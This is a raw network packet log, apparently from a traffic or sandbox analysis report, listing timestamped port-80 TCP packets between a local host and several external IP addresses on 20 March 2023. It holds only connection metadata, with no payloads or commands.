Mar 20, 2023 15:19:18.916784048 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.917143106 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.966557026 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:34.083098888 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.216645956 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.216876030 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.216974020 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.356545925 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.356647015 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.356722116 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.356795073 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.356869936 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.356878042 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.356942892 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.356980085 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.357016087 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.357088089 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.357161045 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.357234001 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.357244968 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.357244968 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.357460022 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.490550041 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.490627050 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.490683079 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.490739107 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.490792990 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.490845919 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.490878105 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.490899086 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.490950108 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.490953922 CET	80	49843	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:34.491064072 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:34.491123915 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:35.728458881 CET	49843	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:36.744163990 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:36.875951052 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:36.876148939 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:36.876233101 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.015109062 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015155077 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015191078 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015223980 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015258074 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015285015 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015315056 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015343904 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015374899 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015408993 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.015408039 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.015408039 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.015599012 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.015758038 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.015758038 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.147053003 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.147169113 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.147253990 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.147339106 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.147469044 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.147473097 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.147578001 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.147629976 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.147670984 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.147757053 CET	80	49845	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:37.147799015 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:37.147969961 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:38.384344101 CET	49845	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.400151014 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.531486034 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.531785011 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.532383919 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.532476902 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.664203882 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.664283037 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.664374113 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.664382935 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.664448023 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.664505005 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.664560080 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.664592981 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.664729118 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.664916992 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.665534019 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.711931944 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.796196938 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.796281099 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.796412945 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.796621084 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.796833038 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.796981096 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.797096968 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:39.797113895 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.797243118 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.928244114 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.929126024 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.929198980 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.929269075 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.929348946 CET	80	49846	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:39.929501057 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:41.039894104 CET	49846	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:42.055783987 CET	49847	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:42.189651966 CET	80	49847	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:42.189907074 CET	49847	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:42.189907074 CET	49847	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:42.324671984 CET	80	49847	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:42.324758053 CET	80	49847	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:42.325030088 CET	49847	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:42.325030088 CET	49847	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:19:42.459091902 CET	80	49847	45.56.79.23	192.168.11.20
Mar 20, 2023 15:19:48.456363916 CET	49848	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:48.485053062 CET	80	49848	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:48.485405922 CET	49848	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:48.485552073 CET	49848	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:48.514153957 CET	80	49848	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:48.514266014 CET	80	49848	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:48.514280081 CET	80	49848	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:48.514476061 CET	49848	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:49.990946054 CET	49848	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:51.007126093 CET	49849	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:51.035739899 CET	80	49849	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:51.036020041 CET	49849	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:51.036569118 CET	49849	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:51.065197945 CET	80	49849	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:51.065294027 CET	80	49849	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:51.065356016 CET	80	49849	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:51.065659046 CET	49849	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:52.638170958 CET	49849	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:53.774871111 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:53.802481890 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:53.802777052 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.271465063 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.299309969 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.299397945 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.299407005 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.299449921 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.299458981 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.299489021 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.299532890 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.299541950 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.299658060 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.299832106 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.299832106 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.299997091 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.327105045 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.327269077 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.327332973 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.327389956 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.327399015 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.327506065 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.327677011 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.327677011 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:54.327686071 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.327792883 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.354927063 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.355077982 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.355345011 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.355464935 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.356391907 CET	80	49851	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:54.356618881 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:55.786684990 CET	49851	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:56.802402020 CET	49852	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:56.831453085 CET	80	49852	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:56.831705093 CET	49852	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:56.831855059 CET	49852	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:56.860765934 CET	80	49852	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:56.860869884 CET	80	49852	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:56.860944986 CET	80	49852	2.57.90.16	192.168.11.20
Mar 20, 2023 15:19:56.861288071 CET	49852	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:56.861288071 CET	49852	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:19:56.890561104 CET	80	49852	2.57.90.16	192.168.11.20
Mar 20, 2023 15:20:01.884298086 CET	49853	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:01.898921013 CET	80	49853	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:01.899152040 CET	49853	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:01.899341106 CET	49853	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:01.913847923 CET	80	49853	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:01.915718079 CET	80	49853	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:01.915822983 CET	80	49853	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:01.915988922 CET	49853	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:03.409902096 CET	49853	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:04.425780058 CET	49854	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:04.439969063 CET	80	49854	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:04.440114975 CET	49854	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:04.440377951 CET	49854	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:04.454441071 CET	80	49854	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:04.456214905 CET	80	49854	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:04.456234932 CET	80	49854	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:04.456418037 CET	49854	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:05.940763950 CET	49854	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:06.956269026 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:06.970355988 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:06.970582962 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:06.972359896 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:06.972381115 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:06.972461939 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:06.986597061 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:06.986608982 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:06.986701012 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:06.986711979 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:06.986722946 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:06.986731052 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:06.986738920 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:06.986861944 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:06.987008095 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:06.987205029 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:07.001040936 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001055002 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001236916 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:07.001241922 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001255989 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001291990 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001302004 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001313925 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001421928 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:07.001473904 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001529932 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001542091 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001555920 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.001580954 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:07.015422106 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.015531063 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.015551090 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.015772104 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.015793085 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.015872955 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.015889883 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.016450882 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.016469955 CET	80	49855	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:07.016643047 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:08.486917973 CET	49855	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:09.503220081 CET	49856	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:09.517803907 CET	80	49856	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:09.518151999 CET	49856	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:09.518232107 CET	49856	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:09.532780886 CET	80	49856	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:09.535295010 CET	80	49856	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:09.535435915 CET	80	49856	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:09.535733938 CET	49856	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:09.535820961 CET	49856	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:20:09.550276041 CET	80	49856	217.160.0.217	192.168.11.20
Mar 20, 2023 15:20:14.877197027 CET	49858	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:15.076153040 CET	80	49858	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:15.076423883 CET	49858	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:15.076498032 CET	49858	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:15.489686012 CET	80	49858	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:15.577214956 CET	80	49858	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:15.577486992 CET	49858	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:16.578910112 CET	49858	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:17.594558001 CET	49859	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:17.807152033 CET	80	49859	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:17.807432890 CET	49859	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:17.807518959 CET	49859	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:18.220274925 CET	80	49859	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:18.325510979 CET	80	49859	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:18.325846910 CET	49859	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:19.343959093 CET	49859	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.359513998 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.571640015 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.572004080 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.572699070 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.572786093 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.784923077 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.784996033 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.785180092 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.785304070 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.996140003 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.996362925 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.997230053 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.997287989 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.997420073 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.997523069 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.997591019 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.997721910 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.997782946 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.997906923 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:20.997932911 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:20.998106003 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:21.198983908 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.208446980 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.209470987 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.209764004 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.209928036 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.210050106 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.210205078 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.210275888 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.210457087 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.210557938 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.210676908 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.516768932 CET	80	49860	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:21.517030954 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:22.077977896 CET	49860	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:23.093470097 CET	49862	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:23.291589022 CET	80	49862	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:23.291867971 CET	49862	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:23.292037010 CET	49862	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:23.695202112 CET	80	49862	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:23.702366114 CET	80	49862	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:23.702996969 CET	49862	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:23.703099012 CET	49862	80	192.168.11.20	45.194.145.38
Mar 20, 2023 15:20:23.901488066 CET	80	49862	45.194.145.38	192.168.11.20
Mar 20, 2023 15:20:29.267884970 CET	49863	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:29.521218061 CET	80	49863	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:29.521447897 CET	49863	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:29.521564007 CET	49863	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:29.775146008 CET	80	49863	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:29.775382042 CET	80	49863	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:29.775444031 CET	80	49863	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:29.775619984 CET	49863	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:31.028852940 CET	49863	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:32.044595003 CET	49864	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:32.304267883 CET	80	49864	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:32.304471016 CET	49864	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:32.304577112 CET	49864	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:32.564392090 CET	80	49864	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:32.564435959 CET	80	49864	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:32.564466953 CET	80	49864	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:32.564779997 CET	49864	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:33.809514999 CET	49864	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:34.825186014 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.080271006 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.080581903 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.081677914 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.081773043 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.335146904 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.335227966 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.335355997 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.335406065 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.335445881 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.335642099 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.335751057 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.335916996 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.588771105 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.588942051 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.588953972 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.589091063 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.589154959 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.589261055 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.589276075 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.589435101 CET	80	49865	154.215.156.6	192.168.11.20
Mar 20, 2023 15:20:35.589600086 CET	49865	80	192.168.11.20	154.215.156.6
Mar 20, 2023 15:20:35.842484951 CET	80	49865	154.215.156.6	192.168.11.20
